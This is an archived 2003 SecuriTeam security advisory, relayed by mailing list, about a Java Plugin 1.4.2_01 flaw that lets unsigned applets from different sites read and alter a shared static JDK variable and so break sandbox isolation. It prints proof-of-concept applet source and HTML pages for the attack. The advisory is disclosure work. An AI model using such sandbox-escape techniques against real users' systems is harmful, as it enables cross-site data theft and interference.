

[NEWS] Cross-Site Java breaks Sandbox Isolation for Unsigned Applets

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-10/0102.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 10/23/03

To: list@securiteam.com

Date: 23 Oct 2003 18:10:38 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Cross-Site Java breaks Sandbox Isolation for Unsigned Applets

SUMMARY

Unsigned applets coming from different sites may share data areas via undocumented static variables of the JDK. While altering these variables, JDK's internal states may become corrupt, making JDK not function properly. This especially concerns XML processing which depends on the `org.apache.xalan.processor.XSLProcessorVersion` class. This behavior violates the isolation restriction of the sandbox.

DETAILS

Vulnerable systems:

* Java Plugin version 1.4.2_01

Reproduction:

Two applets,

– one on siteA: `www.siteA.org => Read.html / ReadApplet.class`

– one on siteB: `www.siteB.org => Write.html / WriteApplet.class`

Applet from siteB can share a variable also accessible (read and write) which is used by siteA. So data protection is not guaranteed, an unsigned

Securiteam: [NEWS] Cross-Site Java breaks Sandbox Isolation for Unsigned Applets

applet may grab data stored in this variable by a signed applet or interfere its XML processing and therefore violates the isolation restriction of the sandbox.

```
=====READAPPLET=====
/* Illegalaccess.org java exploit */
/* coded by Marc Schoenefeld */

import java.awt.Graphics;

public class ReadApplet extends java.applet.Applet {

    public void paint(Graphics g)
    {

System.out.println(org.apache.xalan.processor.XSLProcessorVersion.S_VERSION);
    }

    static {

System.out.println(org.apache.xalan.processor.XSLProcessorVersion.S_VERSION);
    }
}
=====READAPPLET=====

=====WRITEAPPLET=====
import java.awt.Graphics;

public class WriteApplet extends java.applet.Applet {
    public void paint(Graphics g)
    {
        org.apache.xalan.processor.XSLProcessorVersion.S_VERSION += "a";
    }

    static {
        org.apache.xalan.processor.XSLProcessorVersion.S_VERSION = "altered
from
SiteA";
    }
}
=====WRITEAPPLET=====

=====Write.html=====
< HTML>
< BODY BGCOLOR=#66FF66>
< PRE>
WriteApplet, write to variable
Marc (marc@org.illegalaccess)
</PRE>
< applet codebase=. code=WriteApplet.class width=100 height=100>
</applet>
</BODY>
```

Securiteam: [NEWS] Cross-Site Java breaks Sandbox Isolation for Unsigned Applets

</HTML>

====Read.html=====

```
< HTML>
< BODY BGCOLOR=#6666FF>
< PRE>
ReadApplet, read from variable
Marc (marc@org.illegalaccess)
</PRE>
< applet codebase=. code=ReadApplet.class width=100 height=100>
</applet>
</BODY>
</HTML>
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:marc@illegalaccess.org> Marc Schoenefeld.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.